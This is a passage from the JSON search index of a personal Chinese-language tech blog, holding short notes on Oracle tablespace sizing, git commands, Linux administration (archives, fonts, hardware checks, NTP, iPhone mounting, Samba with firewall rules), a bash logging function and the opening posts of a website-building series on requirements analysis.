如果是單機板處理\n1 2 3 4 --先查詢 tbs1 目前擁有的 datafile SELECT tablespace_name, file_name FROM dba_data_files WHERE tablespace_name IN (\u0026#39;tbs1\u0026#39;); --新增tablespace alter tablespace tbs1 add datafile \u0026#39;/[select path]/[tbs1_1].dbf\u0026#39; size 100M AUTOEXTEND ON MAXSIZE UNLIMITED; 我很好奇 # 在這幾次的處理經驗中，我一直很好奇為什麼只能單一個tabespace只能開到32G，後來在MAXIMUM DATAFILE SIZE IN AN ORACLE DATABASE有提到 一個 datafile 裡可以允許存放 4,194,303 Block。 Block Size 如果是 8k 則最大的限制是 32GB，大致上如下表。\n1 2 3 4 5 6 7 Block Size | Maximum Datafile Size — — — — — — — — — — — — — — — 2k 4194303 * 2k = 8 GB 4k 4194303 * 4k = 16 GB 8k 4194303 * 8k = 32 GB 16k 4194303 * 16k = 64 GB 32k 4194303 * 32k = 128 GB 在Oracle 10g 中有介紹 BIGFILE tablespace，而 BIGFILE tablespace 只能存在單一個 datafile。然而一個datafile可以存放 4,294,967,295 Block。容量設計上如下表:\n1 2 3 4 5 6 7 Block Size | Maximum Datafile Size — — — — — — — — — — — — — — — 2k 4294967295 * 2k = 8 TB 4k 4294967295 * 4k = 16 TB 8k 4294967295 * 8k = 32 TB 16k 4294967295 * 16k = 64 TB 32k 4294967295 * 32k = 128 TB 參考資料 # Oracle Tablespace 空間查詢 MAXIMUM DATAFILE SIZE IN AN ORACLE DATABASE ","date":"March 1, 2024","externalUrl":null,"permalink":"/worknot/worknot-20240301/","section":"Worknots","summary":"今天在工作上遇到Oracle資料庫突然無法連線，突然想到前幾天在資料庫監控中發現Tablespace已經快滿了，於是著手處理。以下是處理的紀錄。\n","title":"Worknot 20240301","type":"worknot"},{"content":"個人網站開張\n","date":"February 29, 2024","externalUrl":null,"permalink":"/personal-zone/2024-02-29/","section":"Personal-Zones","summary":"個人網站開張\n","title":"個人網站開張","type":"personal-zone"},{"content":" 關於我 # 我擅長將要達成的目標進行妥善的分析開發時間成本的工程師。可以將幾乎不可能的目標，一步一步轉為可行的規劃，並對相關的專案經理分析出執行步驟、所需的執行時間成本、技術成本。\n在工作之餘，也會玩轉Linux。目前在Linux 的生活應用上，算是小有成就，可以很順手的進行日常的操作。\n作品 # gitHub: https://github.com/PolloChang 2023 iThome 鐵人賽-來架個網站吧 系列 2022 iThome 鐵人賽-Linux in my LIFE 系列 GitHub # 工作經歷 # 威進國際股份有限公司: 2017/5~仍在職 學業經歷 # 世新大學-資訊傳播學系: 2011/9~2015/6 ","date":"February 28, 2024","externalUrl":null,"permalink":"/about/","section":"","summary":"關於我 # 我擅長將要達成的目標進行妥善的分析開發時間成本的工程師。可以將幾乎不可能的目標，一步一步轉為可行的規劃，並對相關的專案經理分析出執行步驟、所需的執行時間成本、技術成本。\n","title":"關於我","type":"page"},{"content":"","date":"February 28, 2024","externalUrl":null,"permalink":"/tags/2023-ithome-%E9%90%B5%E4%BA%BA%E8%B3%BD/","section":"Tags","summary":"","title":"2023 IThome 鐵人賽","type":"tags"},{"content":"","date":"February 28, 2024","externalUrl":null,"permalink":"/tags/cli/","section":"Tags","summary":"","title":"Cli","type":"tags"},{"content":" commit # 1 git commit -m \u0026#34;描述\u0026#34; add # 新增要紀錄的檔案\n1 git add . 切換分支 # 1 git checkout develop pull # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 ❯ git pull hint: You have divergent branches and need to specify how to reconcile them. hint: You can do so by running one of the following commands sometime before hint: your next pull: hint: hint: git config pull.rebase false # merge hint: git config pull.rebase true # rebase hint: git config pull.ff only # fast-forward only hint: hint: You can replace \u0026#34;git config\u0026#34; with \u0026#34;git config --global\u0026#34; to set a default hint: preference for all repositories. You can also pass --rebase, --no-rebase, hint: or --ff-only on the command line to override the configured default per hint: invocation. fatal: Need to specify how to reconcile divergent branches. 設定 git 使用者資訊 # 1 2 git config --global user.name PolloChang git config --global user.email james89926282@gmail.com 設定編輯 commit message 用 vim 文字編輯器 # 1 git config --global core.editor \u0026#34;vim\u0026#34; # 設定編輯 commit message 用 vim 文字編輯器 錯誤處理 # 錯誤訊息 1 2 ❯ git pull fatal: refusing to merge unrelated histories 解決方式 1 git pull origin main --allow-unrelated-histories ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-git-cli/","section":"Posts","summary":"commit # 1 git commit -m \"描述\" add # 新增要紀錄的檔案\n","title":"git CLI","type":"post"},{"content":"官方網站-wkhtmltopdf\n安裝檔 # 1 wkhtmltox_0.12.6.1-2.bullseye_amd64.deb CLI # 1 wkhtmltopdf 附件二-OS-作業系統日誌-差異備份-20231026_tmp.html 附件二-OS-作業系統日誌-差異備份-20231026.pdf ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-html%E8%BD%89pdf/","section":"Posts","summary":"官方網站-wkhtmltopdf\n安裝檔 # 1 wkhtmltox_0.12.6.1-2.bullseye_amd64.deb CLI # 1 wkhtmltopdf 附件二-OS-作業系統日誌-差異備份-20231026_tmp.html 附件二-OS-作業系統日誌-差異備份-20231026.pdf ","title":"html轉pdf-wkhtmltopdf","type":"post"},{"content":" 7z # 安裝 # 1 sudo apt-get install p7zip-full p7zip-rar 解壓縮到指定輸出目錄 # 1 7z x \u0026#34;dir1.zip\u0026#34; -o \u0026#34;dir1\u0026#34; zip # 安裝 # 1 apt install zip unzip 解壓縮到指定輸出目錄 # 1 unzip -q test.zip -d /tmp 參考資料 # Linux 安裝 7zip\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E5%A3%93%E7%B8%AE%E7%9B%B8%E9%97%9C/","section":"Posts","summary":"7z # 安裝 # 1 sudo apt-get install p7zip-full p7zip-rar 解壓縮到指定輸出目錄 # 1 7z x \"dir1.zip\" -o \"dir1\" zip # 安裝 # 1 apt install zip unzip 解壓縮到指定輸出目錄 # 1 unzip -q test.zip -d /tmp 參考資料 # Linux 安裝 7zip\n","title":"Linux 壓縮相關","type":"post"},{"content":" 019.字型安裝 # apt 安裝 # 1 2 sudo apt install ttf-mscorefonts-installer sudo apt install ttf-wqy-microhei ttf-wqy-zenhei # 中文字型 1 2 3 4 5 6 cd ~/下載 sudo mkdir -p /usr/share/fonts/custom \u0026amp;\u0026amp;\\ sudo wget -P /usr/share/fonts/custom https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Regular.ttf \u0026amp;\u0026amp;\\ sudo wget -P /usr/share/fonts/custom https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Bold.ttf \u0026amp;\u0026amp;\\ sudo wget -P /usr/share/fonts/custom https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Italic.ttf \u0026amp;\u0026amp;\\ sudo fc-cache -v -f ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E5%AD%97%E5%9E%8B%E5%AE%89%E8%A3%9D/","section":"Posts","summary":"019.字型安裝 # apt 安裝 # 1 2 sudo apt install ttf-mscorefonts-installer sudo apt install ttf-wqy-microhei ttf-wqy-zenhei # 中文字型 1 2 3 4 5 6 cd ~/下載 sudo mkdir -p /usr/share/fonts/custom \u0026\u0026\\ sudo wget -P /usr/share/fonts/custom https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Regular.ttf \u0026\u0026\\ sudo wget -P /usr/share/fonts/custom https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Bold.ttf \u0026\u0026\\ sudo wget -P /usr/share/fonts/custom https://github.com/romkatv/powerlevel10k-media/raw/master/MesloLGS%20NF%20Italic.ttf \u0026\u0026\\ sudo fc-cache -v -f ","title":"Linux 字型安裝","type":"post"},{"content":" 檢查住機板型號 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ❯ sudo dmidecode -t 2 # dmidecode 3.3 Getting SMBIOS data from sysfs. SMBIOS 3.0.0 present. Handle 0x0002, DMI type 2, 15 bytes Base Board Information Manufacturer: ASUSTeK COMPUTER INC. Product Name: PRIME B250M-K Version: Rev X.0x Serial Number: 161190432104045 Asset Tag: Default string Features: Board is a hosting board Board is replaceable Location In Chassis: Default string Chassis Handle: 0x0003 Type: Motherboard Contained Object Handles: 0 檢查USB 等設備 # 1 udevadm monitor 1 2 3 4 5 6 7 KERNEL[3434.892293] add /devices/pci0000:00/0000:00:14.0/usb1/1-1 (usb) KERNEL[3434.893220] add /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0 (usb) KERNEL[3434.893454] bind /devices/pci0000:00/0000:00:14.0/usb1/1-1 (usb) UDEV [3434.935105] add /devices/pci0000:00/0000:00:14.0/usb1/1-1 (usb) KERNEL[3435.021095] add /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0/host2 (scsi) KERNEL[3435.022326] add /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0/host2/scsi_host/host2 (scsi_host) KERNEL[3435.022768] bind /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0 (usb) 檢查 SCSI 總線上有哪些串流設備 # 1 2 3 \u0026gt; sudo lsscsi [2:0:0:0] disk General UDisk 5.00 /dev/sda [N:0:0:1] disk CT500P1SSD8__1 /dev/nvme0n1 參考資料 # Linux 如何查看 主機板型號\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E7%A1%AC%E9%AB%94%E6%AA%A2%E6%B8%AC%E7%9B%B8%E9%97%9C%E6%8C%87%E4%BB%A4/","section":"Posts","summary":"檢查住機板型號 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ❯ sudo dmidecode -t 2 # dmidecode 3.3 Getting SMBIOS data from sysfs. SMBIOS 3.0.0 present. Handle 0x0002, DMI type 2, 15 bytes Base Board Information Manufacturer: ASUSTeK COMPUTER INC. Product Name: PRIME B250M-K Version: Rev X.0x Serial Number: 161190432104045 Asset Tag: Default string Features: Board is a hosting board Board is replaceable Location In Chassis: Default string Chassis Handle: 0x0003 Type: Motherboard Contained Object Handles: 0 檢查USB 等設備 # 1 udevadm monitor 1 2 3 4 5 6 7 KERNEL[3434.892293] add /devices/pci0000:00/0000:00:14.0/usb1/1-1 (usb) KERNEL[3434.893220] add /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0 (usb) KERNEL[3434.893454] bind /devices/pci0000:00/0000:00:14.0/usb1/1-1 (usb) UDEV [3434.935105] add /devices/pci0000:00/0000:00:14.0/usb1/1-1 (usb) KERNEL[3435.021095] add /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0/host2 (scsi) KERNEL[3435.022326] add /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0/host2/scsi_host/host2 (scsi_host) KERNEL[3435.022768] bind /devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1:1.0 (usb) 檢查 SCSI 總線上有哪些串流設備 # 1 2 3 \u003e sudo lsscsi [2:0:0:0] disk General UDisk 5.00 /dev/sda [N:0:0:1] disk CT500P1SSD8__1 /dev/nvme0n1 參考資料 # Linux 如何查看 主機板型號\n","title":"Linux 硬體檢測相關指令","type":"post"},{"content":" 檢查電池容量 # 1 upower -i /org/freedesktop/UPower/devices/battery_BAT0 ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E7%AD%86%E9%9B%BB%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4/","section":"Posts","summary":"檢查電池容量 # 1 upower -i /org/freedesktop/UPower/devices/battery_BAT0 ","title":"Linux 筆電常用命令","type":"post"},{"content":" 1 sudo date -s \u0026#34;2022/05/05 18:44:15\u0026#34; 若要查詢硬體時鐘（RTC）的時間，可以使用 hwclock：\n若要將系統時間寫入硬體時鐘，可以使用 -w 參數：\n1 sudo hwclock -w 係統時區校正 # 先設定時區 # 1 sudo timedatectl set-timezone Asia/Taipei 1 2 3 4 5 6 7 8 ╰─ timedatectl Local time: Wed 2022-05-04 16:21:52 CST Universal time: Wed 2022-05-04 08:21:52 UTC RTC time: Wed 2022-05-04 08:21:52 Time zone: Asia/Taipei (CST, +0800) System clock synchronized: yes NTP service: active RTC in local TZ: no 校時查詢 # 1 2 3 4 [aaa@test ~]$ ntpq -p remote refid st t when poll reach delay offset jitter ============================================================================== *172.18.10.1 118.163.81.61 4 u 817 1024 377 0.426 3.246 2.106 參數說明 # remote：回響這個請求的NTP服務器的名稱。\nrefid：NTP服務器使用的上一級ntp服務器。\nst ：remote遠程服務器的級別.由於NTP是層型結構,有頂端的服務器,多層的Relay Server再到客戶端.所以服務器從高到低級別可以設定為1-16.為了減緩負荷和網路壅塞,原則上應該避免直接連接到級別為1的服務器的.\nwhen: 上一次成功請求之後到現在的秒數。\npoll : 在地機和遠程服務器多少時間進行一次同步(單位為秒).在一開始運行NTP的時候這個poll值會比較小,那樣和服務器同步的頻率也就增加了,可以盡快調整到正確的時間範圍，之後poll值會逐漸增大,同步的頻率也就會相應減小\nreach:這是一個八進製值,用來測試能否和服務器連接.每成功連接一次它的值就會增加\ndelay:從在地機發送同步要求到ntp服務器的round trip time\noffset：主機通過NTP時鍾同步與所同步時間源的時間偏移量，單位為毫秒（ms）。offset越接近於0,主機和ntp服務器的時間越接近\njitter:這是一個用來做統計的值.它統計了在特定個連續的連接數裏offset的分佈情況.簡單地說這個數值的絕對值越小，主機的時間就越精確\n參考資料 # Linux 手動更改系統時間：date、hwclock 與 timedatectl 指令用法教學 NTP - 網路校時 ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E6%99%82%E9%96%93/","section":"Posts","summary":" 1 sudo date -s \"2022/05/05 18:44:15\" 若要查詢硬體時鐘（RTC）的時間，可以使用 hwclock：\n若要將系統時間寫入硬體時鐘，可以使用 -w 參數：\n1 sudo hwclock -w 係統時區校正 # 先設定時區 # 1 sudo timedatectl set-timezone Asia/Taipei 1 2 3 4 5 6 7 8 ╰─ timedatectl Local time: Wed 2022-05-04 16:21:52 CST Universal time: Wed 2022-05-04 08:21:52 UTC RTC time: Wed 2022-05-04 08:21:52 Time zone: Asia/Taipei (CST, +0800) System clock synchronized: yes NTP service: active RTC in local TZ: no 校時查詢 # 1 2 3 4 [aaa@test ~]$ ntpq -p remote refid st t when poll reach delay offset jitter ============================================================================== *172.18.10.1 118.163.81.61 4 u 817 1024 377 0.426 3.246 2.106 參數說明 # remote：回響這個請求的NTP服務器的名稱。\n","title":"Linux 系統時間","type":"post"},{"content":" 安裝 iFuse # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 jameschang@debian:~$ sudo apt-get install ifuse Reading package lists... Done Building dependency tree... Done Reading state information... Done The following NEW packages will be installed: ifuse 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 15.7 kB of archives. After this operation, 48.1 kB of additional disk space will be used. Get:1 http://deb.debian.org/debian bullseye/main amd64 ifuse amd64 1.1.4~git20181007.3b00243-1 [15.7 kB] Fetched 15.7 kB in 2s (7,099 B/s) Selecting previously unselected package ifuse. (Reading database ... 335631 files and directories currently installed.) Preparing to unpack .../ifuse_1.1.4~git20181007.3b00243-1_amd64.deb ... Unpacking ifuse (1.1.4~git20181007.3b00243-1) ... Setting up ifuse (1.1.4~git20181007.3b00243-1) ... Processing triggers for man-db (2.9.4-2) ... 掛載 # 1 2 3 4 5 6 7 # 1. 選擇或新造要掛載的目錄 jameschang@debian:~$ mkdir ~/iphone # 2. 掛載 jameschang@debian:~$ ifuse ~/iphone How To Access Photos \u0026amp; Videos On Your iPhone On Linux\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-%E9%80%A3%E6%8E%A5iphone%E8%AE%80%E5%8F%96%E7%85%A7%E7%89%87/","section":"Posts","summary":"安裝 iFuse # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 jameschang@debian:~$ sudo apt-get install ifuse Reading package lists... Done Building dependency tree... Done Reading state information... Done The following NEW packages will be installed: ifuse 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 15.7 kB of archives. After this operation, 48.1 kB of additional disk space will be used. Get:1 http://deb.debian.org/debian bullseye/main amd64 ifuse amd64 1.1.4~git20181007.3b00243-1 [15.7 kB] Fetched 15.7 kB in 2s (7,099 B/s) Selecting previously unselected package ifuse. (Reading database ... 335631 files and directories currently installed.) Preparing to unpack .../ifuse_1.1.4~git20181007.3b00243-1_amd64.deb ... Unpacking ifuse (1.1.4~git20181007.3b00243-1) ... Setting up ifuse (1.1.4~git20181007.3b00243-1) ... Processing triggers for man-db (2.9.4-2) ... 掛載 # 1 2 3 4 5 6 7 # 1. 選擇或新造要掛載的目錄 jameschang@debian:~$ mkdir ~/iphone # 2. 掛載 jameschang@debian:~$ ifuse ~/iphone How To Access Photos \u0026 Videos On Your iPhone On Linux\n","title":"Linux 連接iPhone讀取照片","type":"post"},{"content":" 安裝samba # 1 sudo apt install samba 設定共享目錄 # sudo vim /etc/samba/smb.conf\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [localgit] comment = dadatong path = /home/pollochang/data/localGit browsable = yes guest ok = no read only = no create mask = 0755 [software] comment = dadatong path = /home/pollochang/data/software browsable = yes guest ok = no read only = yes create mask = 0755 [data] comment = dadatong path = /home/jameschang/data browsable = yes guest ok = no read only = no create mask = 0755 [tes1] comment = tes1 path = /home/jc/tes1 browsable = yes guest ok = no read only = no workgroup = oinstall create mode = 0775 #從Client端建立檔案後，建立之檔案權限會設定為create mode的值 directory mode = 2770 #從Client端建立目錄後，建立之目錄權限會設定為directory mode的值 valid users = @oinstall #可登入SAMBA的帳號白名單列表，可直接指定帳號清單，或是以 @開頭表示可使用的群組，指定的user一定要是系統上存在的帳號，否則是無效的。如 root, @user 表示允許root帳號與 @user群組中的帳號使用 新增 samba 的使用者 # 1 2 3 4 pollochang@pollochang-GL72-7RDX:~$ sudo smbpasswd -a jameschang New SMB password: Retype new SMB password: Failed to add entry for user jameschang. 注意：新增的使用者必須是要linux 的現有的使用者\n重啟 samba 服務 # 1 pollochang@pollochang-GL72-7RDX:~$ sudo service smbd restart 防火牆 # 1 2 3 4 sudo firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;10.192.1.0/24\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;137\u0026#34; accept\u0026#39; \u0026amp;\u0026amp;\\ sudo firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;10.192.1.0/24\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;138\u0026#34; accept\u0026#39; \u0026amp;\u0026amp;\\ sudo firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;10.192.1.0/24\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;139\u0026#34; accept\u0026#39; \u0026amp;\u0026amp;\\ sudo firewall-cmd --permanent --zone=public --add-rich-rule=\u0026#39;rule family=\u0026#34;ipv4\u0026#34; source address=\u0026#34;10.192.1.103\u0026#34; port protocol=\u0026#34;tcp\u0026#34; port=\u0026#34;8080\u0026#34; accept\u0026#39; ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-linux%E8%88%87windows%E5%85%B1%E4%BA%AB%E7%9B%AE%E9%8C%84/","section":"Posts","summary":"安裝samba # 1 sudo apt install samba 設定共享目錄 # sudo vim /etc/samba/smb.conf\n","title":"linux與windows共享目錄 samba","type":"post"},{"content":"","date":"February 28, 2024","externalUrl":null,"permalink":"/tags/nginx/","section":"Tags","summary":"","title":"Nginx","type":"tags"},{"content":" 日誌時間 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #日誌名稱 log=\u0026#34;./log/checkWbsite.log\u0026#34; #操作日誌存放路徑 fsize=2000000 #如果日誌大小超過上限，則儲存舊日誌，重新生成日誌檔案 exec 2\u0026gt;\u0026gt;$log #如果執行過程中有錯誤資訊均輸出到日誌檔案中 #日誌函式 #引數 #引數一，級別，INFO ,WARN,ERROR #引數二，內容 #返回值 function zc_log(){ #判斷格式 if [ 2 -gt $# ] then echo \u0026#34;parameter not right in zc_log function\u0026#34; ; return ; fi if [ -e \u0026#34;$log\u0026#34; ] then touch $log fi #當前時間 local curtime; curtime=`date +%Y%m%d%H%M%S` #判斷檔案大小 local cursize ; cursize=`cat $log | wc -c` ; if [ $fsize -lt $cursize ] then mv $log $curtime\u0026#34;.out\u0026#34; touch $log ; fi #寫入檔案 echo \u0026#34;$curtime $*\u0026#34; \u0026gt;\u0026gt; $log; } ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/2024-02-28-shell%E7%9B%B8%E9%97%9C/","section":"Posts","summary":"日誌時間 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #日誌名稱 log=\"./log/checkWbsite.log\" #操作日誌存放路徑 fsize=2000000 #如果日誌大小超過上限，則儲存舊日誌，重新生成日誌檔案 exec 2\u003e\u003e$log #如果執行過程中有錯誤資訊均輸出到日誌檔案中 #日誌函式 #引數 #引數一，級別，INFO ,WARN,ERROR #引數二，內容 #返回值 function zc_log(){ #判斷格式 if [ 2 -gt $# ] then echo \"parameter not right in zc_log function\" ; return ; fi if [ -e \"$log\" ] then touch $log fi #當前時間 local curtime; curtime=`date +%Y%m%d%H%M%S` #判斷檔案大小 local cursize ; cursize=`cat $log | wc -c` ; if [ $fsize -lt $cursize ] then mv $log $curtime\".out\" touch $log ; fi #寫入檔案 echo \"$curtime $*\" \u003e\u003e $log; } ","title":"sell 日誌 function","type":"post"},{"content":"","date":"February 28, 2024","externalUrl":null,"permalink":"/categories/%E4%BE%86%E6%9E%B6%E5%80%8B%E7%B6%B2%E7%AB%99%E5%90%A7/","section":"Categories","summary":"","title":"來架個網站吧","type":"categories"},{"content":" 來架個網站吧-01.前言 # tags: 來架個網站吧 # 這一系列的文章，我想把我自己學習架設網站的學習過程一步一步敘述出來，從零基礎開始到一個網站的誕生。順便在撰寫文章的過程中，更精進這方面的技術與吸收。\n目錄 # 來架個網站吧-1.前言 為什麼要開發網站 # 在開發網站之前，通常我會先問一句：「未什麼要開發網站？」。這一句非常重要。之所以重要的原因是，今天開發一個網站是一件複雜的事情，當然也有可以是一件很簡單的事情。從簡單的說起，一台數莓派就可完成一個網站架設了，複雜到使用多個雲進行架設。不過這一系列我不會講如何使用 Google Cloud、 Amazon Web Services等等三方提供的雲端服務架設，因為在下小弟我沒有經驗。\n所以我的鐵人賽可以收工打包回家啦！\n這三十天，小弟我會帶大家如何從零開始打造一個自己專屬網站，帶給不一樣 很傳統 的網站系統。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-01.%E5%89%8D%E8%A8%80/","section":"Posts","summary":"來架個網站吧-01.前言 # tags: 來架個網站吧 # 這一系列的文章，我想把我自己學習架設網站的學習過程一步一步敘述出來，從零基礎開始到一個網站的誕生。順便在撰寫文章的過程中，更精進這方面的技術與吸收。\n","title":"來架個網站吧-01.前言","type":"post"},{"content":" 來架個網站吧-02.技術分工-1: 需求訪談與分析 # tags: 來架個網站吧 # 我是目錄\n需求訪談與分析 # 如今網站系統是複雜的 複雜的永遠都是人 ，一個完整的網站精髓在於完整體驗。所謂完整除了包含漂亮的網頁介面(UI)、流暢的使用者設計(UX)、進行巧江蕙演唱會門票不怕網路塞車(效能)、不怕在網站輸入手機電話號碼後三十分鐘就接到詢問貸款的電話(安全)，上述都是現今網站的基本要素，最重要在於進入當前的網站是為了要完成蛇模事情？\n為了探討「使用目的」這件事，網站的工程人員有專人、專責？處理需求蒐集，並且依據所蒐集到的資料整理成一個網站業務流程。簡單如：線上字典，複雜如：Google Cloud。\n以下是線上字典的業務流程:\n1 使用者進入網站 -\u0026gt; 使用者輸入要搜尋的文字 -\u0026gt; 使用者執行查詢 -\u0026gt; 網站系統搜尋資料庫 -\u0026gt; 網站系統將搜尋的結果拋回使用者 -\u0026gt; 使用者獲得訊息 上述的網站業務流程看似簡單，但是加入以下條件，也有可能讓網站的業務流程開始變得複雜：\n每分鐘都會有1萬名使用者進行操作。 則網站的業務流程有可能會變成這樣\n1 2 3 4 5 6 7 使用者進入網站 -\u0026gt; 使用者輸入要搜尋的文字 網站系統搜尋資料庫 ↗ ↘ (快取沒有資料) ↘ ↗ ↘ -\u0026gt; 使用者執行查詢 -\u0026gt; 網站系統從搜尋快取資料庫 ↘ ↘---------------------\u0026gt; 網站系統將搜尋的結果拋回使用者 -\u0026gt; 使用者獲得訊息 通常每加一項對網站的要求(需求)，在設計網站功能規劃時就得多加一項以上功能或是導入令一向技術。因此一個「完整體驗」的網站通常需求訪談與分析的工作不可少。\n","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-02.%E6%8A%80%E8%A1%93%E5%88%86%E5%B7%A5-%E9%9C%80%E6%B1%82%E8%A8%AA%E8%AB%87%E8%88%87%E5%88%86%E6%9E%90/","section":"Posts","summary":"來架個網站吧-02.技術分工-1: 需求訪談與分析 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-02.技術分工-1: 需求訪談與分析","type":"post"},{"content":" 來架個網站吧-03.技術分工-2: 需求訪談 # tags: 來架個網站吧 # 我是目錄\n建置一個系統中最重要的環節是什麼？開發技術？酷炫時尚的操作介面？\n我覺得最重要的一環就是先釐清做系統是為了要完成那些事情，例如：記帳、管理團隊任務、想知道字的讀音、字詞的意思\u0026hellip;\u0026hellip;等。在這一系列我以字典為需求出發。\n需求出現: 「霽」這個字怎念 # 先在我接收到一項需求：字要怎麼念。\n首先在回答字要怎念的時候，以下是我腦中迴路會出現的思路：\n誰在問？ 學生。 為什麼要問？ 因為同學的名字他不會念。 在什麼時候想到這個問題的？ 載課堂上的時候。 在哪裡想到的這個問題？ 在305教室。 要回答哪些訊息？ 尋找字的讀音。 上述的的思路即是需求訪談時需要向訪談者探討的問題，必須要把自己當成對方肚子李的蛔蟲理解它提出問題(需求)背後的目的。\n另外，在需求訪談的過程中，有時需要幫受訪者衍生提問來探究更細節的需求。例如：\n誰在問？ 請問你是新來的學生嘛？ 為什麼要問？ 最近是不是很長遇到不會念的姓名？ 在什麼時候想到這個問題的？ 除了在課堂上的時候想問，在哪時候也有相同的疑惑？ 在哪裡想到的這個問題？ 除了在教室以外，在圖書館已會遇到一樣狀況嘛？ 要回答哪些訊息？ 你想知道這個字的含意嘛？ 上述就是我在工作實務中常用到的思路，當然僅憑這一點思方式仍然是不夠的，有時候也會向訪談者提出需求相關的文件，或是親身體驗對方的困境，來更深一步探討對方所面臨的需求。\n文字紀錄的重要性-人性本忘 # 我深深相信一件事: 人性本忘。\n忘記，是人類與生性來的本能。因此文字紀錄是很種要的事情，這邊不推薦用語音或是影像紀錄方式，主要是查閱、搜索不易。剛剛有提到「需求訪談完成的當下最好先整理初對方的需求與對方初步確認」這項動作，原因是訪談完當下通常是雙方記憶最清晰的時間，也會是日後回想需求的起始點。\n還有一項是請訪問者與受訪者雙方見證需求文字敘述的真實性，因為有一方對一項需求不認帳，對系統功能有可能是重大的。\n中介人 # 在商業開發上，有時候訪問者與受訪者的關係是屬於不信任的，必要時可以請出雙方信任的第三者參與需求訪談。避免日後開發完系統功能卻無法完成上線的窘境。\n以上是我這幾年在網站領域的一點心得，有疏漏請不吝色指教。\n需求文件 # 為了寫這系列的文章，我特異簡化很多需求訪談中的詳細，以下是簡便板的需求文件:\n1 今天是9月10日，在世新大學有一位從美國來台灣就讀的大一年級的新生，同時他也是華僑說著一口流利的中文，但是不太認識中文字。無法將講義、同學的名子的文字念出發音及理解字詞的意思。同學希望有一個網站可以很順手的查詢字的意思。 ","date":"February 28, 2024","externalUrl":null,"permalink":"/post/1000-03.%E6%8A%80%E8%A1%93%E5%88%86%E5%B7%A5-%E9%9C%80%E6%B1%82%E8%A8%AA%E8%AB%87/","section":"Posts","summary":"來架個網站吧-03.技術分工-2: 需求訪談 # tags: 來架個網站吧 # 我是目錄\n","title":"來架個網站吧-03.技術分工-2: 需求訪談","type":"post"},{"content":" 來架個網站吧-04.技術分工-3: 需求分析 # tags: 來架個網站吧 # 我是目錄\n需求分析 # 經過依整天的需求訪談，可以說是燒掉不少腦細胞呀！不過訪談完成之後必須得得做整理，我相信經過一整晚的睡眠整理？前一天的需求應該都在腦袋瓜中整理的有理有序吧？但是當工程師拿到訪談的文件，有絕大部分的機率不會著手開發。這是為什呢？\n想想看昨天的需求文件吧：\n1 今天是9月10日，在世新大學有一位從美國來台灣就讀的大一年級的新生，同時他也是華僑說著一口流利的中文，但是不太認識中文字。無法將講義、同學的名字的文字念出發音及理解字詞的意思。同學希望有一個網站可以很順手的查詢字的意思。 但是在工程師的腦中有 接收資料、分析資料、拋出資料，在前端工程的眼中只有如何呈現給使用者資訊 